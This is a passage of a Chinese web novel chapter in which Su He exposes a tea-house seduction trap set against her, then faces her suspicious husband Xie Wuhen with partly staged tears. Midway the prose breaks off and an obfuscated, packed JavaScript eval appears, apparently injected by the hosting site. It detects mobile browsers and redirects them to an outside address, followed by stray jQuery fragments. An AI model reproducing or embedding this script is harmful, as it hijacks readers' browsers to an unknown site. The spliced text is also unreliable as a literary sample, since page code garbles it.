安子意味深长地笑了笑:“少卿大人以为是谁?”
谢无痕回:“本官没有以为是谁。”
随即冷声吩咐:“茶肆暂停营业,安排人手疏散人群。”
安子恭敬答:“小人遵旨。”
谢无痕懒得再理会他,纵身挤上了二楼。
刚迈入二楼的楼道,便一眼望见挤在人群里的苏荷。
她一袭绯色衣裙,金钗摇曳、面若芙蓉,正往碧水轩包间内张望。
她明媚地、光鲜地、完好地站在那儿,在拥挤的人群里鹤立鸡群。
没有通奸、没有苟且、没有背叛,就那样完好地站在那儿。
他莫名觉得心头一暖。
片刻后,他转身下楼。
苏荷并不知晓谢无痕已来过。
此时她正摆出寻常看客的模样瞧着热闹。
因为看客太多,碧水轩门口已被堵得水泄不通,堵得连只苍蝇也飞不出去。
包间内的李建业与张倩儿双双缩在墙角,身上衣物散落各处,所幸有好心人替他们覆上一块黑布遮羞。
但即便黑布再宽,亦遮不住他们祼露的肩膀与脚踝,白晃晃的,甚是刺目。
张倩儿在埋首哭泣,哭一会儿又偷偷往外张望,想看看外头的人有没有变少,她能不能赶紧逃回家。
李建业则在一边咳嗽一边谩骂:“看什么看,没见过你爹和你娘行周公礼么,不行周公礼怎会有你们这群王八蛋。”
又骂:“狗日的,给老子滚,滚回去脱光了对着镜子看自己吧。”
事已至此,所谓的尊严与脸面已碎了一地。
事情本来不是这个样子的,本来他们才是看戏人。
可如今,他们却成为了戏中人。
李建业记得一切都是从饮了那壶茶开始。
他和张倩儿接连饮了好几盏,随后便开始感觉到异样,面色发红、呼吸急促,一切就都失控了。
失控倒也罢了,毕竟男欢女爱也算正常,毕竟门窗紧闭掩人耳目。
坏就坏在,当他们酣畅行事之时,茶肆二掌柜竟领着几名伙计前来奉送小食,推门而入的瞬间,一切便都大白于天下了。
不知谁嚷出一声“捉奸”,一时所有茶客皆朝二楼蜂涌而来。
李建业记得他并没让人奉送小食,也料到包间的茶水定然有问题,但眼下他背负臭名、体面全无,已然没了还手之力。
除了咳嗽与谩骂,他只盼着能尽快熬过此刻。
张倩儿也在熬,边哭边熬。
至于熬过去之后能如何,她眼下不敢想。
看客们仍是兴致勃勃。
有人甚至火上浇油,大声调侃:“只听闻李公子得了痨病身子垮了,没成想竟还有这等雅趣啊。”
还有人在骂张倩儿:“那谢家好歹也是名门世家,没成想竟出了个不要脸的侄女!”
有人更正:“那不要脸的侄女乃是姓张,跟谢家可没关系。”
“说得好像你是谢家人似的。”
“不过是说句公道话而已,谁想摊上这种亲戚啊。”
苏荷始终没吱声,也没人认出她。
见到了那二人惨状,她如释重负。
本想再去三楼向曾艺道道谢,却因人太多而作罢。
至少此刻,她不想让人知道自己与曾艺道相熟,以免给对方或给自己招来麻烦。
苏荷侧身往楼下走,费子老鼻子劲才挤到一楼大堂,抬眸间,一眼望见正忙着疏散人群的谢无痕。
因为他的疏散,大堂内显然空旷了许多。
她怔了怔,提步行至他身侧,“夫君怎么来了?”
他抬眸看她,故作寻常地回,“执行公务时路经此地,故尔进来看看,娘子也是来这儿饮茶的么?”
他的目光始终落在她脸上,那目光看似无波无澜,轻盈如旷野,实则幽深难测,冰冷如寒潭。
那次李建业验看她身上胎记时,她便从他眼里看到过这样的目光——一种质疑的目光。
难道今日,他又在疑她?
苏荷也故作寻常地看了眼屋外晴空,点了点头:“天气好,所以想来这儿坐一坐,吃一吃这里的小食。”
转而问:“夫君已知晓这里发生的事了吧?”
“嗯,知道了。”
“那眼下该如何安置李建业和倩儿姑娘?”
他反问:“娘子觉得该如何安置?”
她微微一笑:“贫妾虽不喜李建业这个兄长,但他好歹是李家独子;夫君虽不喜倩儿姑娘这门亲戚,但她好歹与谢家有所牵扯,不如夫君待会儿差人护送他们回去?”
他也微微一笑:“如此,甚好。”
随后谢无痕便让安子去大理寺传唤人手。
不过几盏茶功夫,吴生便领了一队差役过来,先是疏散茶肆看客,继而用马车将碧水轩那二人分别送回府。
苏荷与谢无痕也坐上了回府的马车。
她发现他今日的话特别少,上车后闲聊了几句,便开始闭目养神。
明明并肩而坐,他却碰也未碰她。
苏荷语带关切:“夫君近日早出晚归忙于公务,定是累坏了吧?”
他仍闭着眼眸:“娘子放心,无碍的。”
“还要这般忙多久?”
“应该很快了。”
苏荷“哦”了一声,便不再言语了。
他闭目养神,她沉默不言,只剩马车的“踏踏”声响彻耳边。
回到春华院已是暮色时分。
二人用完了膳、洗漱完毕后,便屏退下人关上了屋门。
谢无痕似并不想就寝,而是坐在木桌前饮茶。
他一袭中衣,领口微敞,凸起的锁骨上还残留着沐浴后的水汽,看似有几份疏狂,亦有几份慵懒。
他唤了声“娘子”。
苏荷正坐在妆奁前涂面膏,闻声看向他:“夫君何事?”
他神色微敛:“我有话想与娘子说,娘子能不能坐过来?”
苏荷放下手中面膏,依言坐到了他对面。
他神色郑重,“今日有个乞儿去大理寺给我传了个消息。”
她疑惑,“什么消息?”
他轻抿唇角,顿了顿:“称娘子在无忧茶肆与人私会。”
苏荷胸口一松,总算知晓他今日为何反常了。
她面色不变:“夫君信了?”
他沉默,握住杯盏的指尖却微微泛白。
她又说:“所以夫君今日出现在无忧茶肆,并非是路过,而是特意赶过去的?”
他反问:“娘子觉得我即便听到这样的消息也不该赶过去吗?”
她沉沉看着他,“夫君在疑贫妾?”
他与她对望,再次沉默。
她故作痛心:“敢问夫君,是在疑贫妾与人私会,还是在疑贫妾陷害了张倩儿?亦或是,两者皆疑?”
他答非所问:“娘子是个聪明人。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838434|172640||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她确实聪明,他本以为她中了别人的圈套,却没想到,她竟将设套之人反拉入套中。
眼前这个女子,不简单啊!
苏荷问:“夫君这是在嘲讽贫妾?”
他仍是答非所问:“娘子当初为何不介意嫁给周平?娘子想要用周平手中的权力去做什么?”
他旧事重提,却是一针见血,苏荷胸口兀地一紧。
片刻后她起身,沉沉立于桌前,烛火将她的身影斜斜投到桌案上,令她的隐忍里也多了几许悲壮。
她语气铿锵:“夫君曾答应过贫妾,此生不疑贫妾,今日看来,夫君的承诺当真是轻若鸿毛,夫君对贫妾的疑心早已是刻骨铭心深入骨髓,罢了,贫妾累了,不愿做任何解释了,这段婚姻无论是和离还是被休,贫妾皆无怨言。”
她说完转身往床榻的方向走,作势要去就寝。
他却起身从身后一把抱住了她。
抱得太突然,令她一时回不过神。
之后,便有委屈莫名地在胸间蔓延,混合着他身上松果的清香,无限地蔓延……
她说:“夫君既然不信贫妾,便放了贫妾吧。”
他声音暗哑:“你说为夫疑你,你何曾又不疑为夫。”
她转头看他,高大的男人神色冷峻,但目光却柔和了许多。
她喃喃问:“夫君何出此言?”
他答:“我承认,一开始听到娘子与人私会时我是有些心绪难平,但到达茶肆后我才发现,这背后唆使乞儿传信之人竟是张倩儿,且与人私会之人亦是张倩儿,她今日应是折于娘子之手吧?娘子能顺利制服她亦是早知她的谋划吧?可即便娘子早知她的谋划,也不曾向我透露过分毫;即便娘子只身犯险,也不愿求助于我,这不是疑我又是什么?”
苏荷一哽,一时语塞。
她何止是疑他,简直是骗他欺他利用他。
但她万不能让他发现这一点,她与他成亲且步步为营走到今天,她唯一能倚仗的便是他的信任。
这个骄傲的男人向来吃软不吃硬,所以她得示弱。
她垂眸,泪水簌簌而下:“夫君说得没错,贫妾早就知晓倩儿姑娘与李建业的谋划,故尔今日才对他们以牙还牙以眼还眼,贫妾未曾告知夫君这些情况,一是因为倩儿姑娘的身份,她毕竟是三房的亲眷,也算是夫君的表妹,谢家几房本就不和,贫妾不想因自己的原因令大房与三房再生龃龉;二是贫妾自个儿也有私心,贫妾虽为李家嫡女,但能嫁给夫君却是高攀,贫妾也不想让夫君看到贫妾这副睚眦必报步步为营的不堪模样。”
她拭泪,抬眸看他,眸中带着几份决绝,“但贫妾也确实就是这副模样,贫妾出身后宅,母亲亡故,父亲新娶,若非睚眦必报步步为营,贫妾早就活不到今日了,所以贫妾曾无数次地告诫自己,无论如何,要抓住一切机会攫取权力,抓住一切机会爬到高处,所以贫妾才不介意嫁给周平——不介意嫁给一个六旬老翁,夫君问贫妾想要权力去做什么?”她笑了笑,泪再次落下来:“贫妾想要权力掌控自己的人生,想要权力获得公平公正的生活,想要权力赢得他人起码的尊重,这些理由,够吗?”
她看似在表述李姝丽的生活,实则更像是在表述她自己。
那些流下的眼泪,那些绵绵密密的忧伤,有些是刻意的示弱,有些却是真情流露。
他莫名感觉心间发痛,伸臂再次拥她入怀。
他说:“和和,你别难过,是我错了。”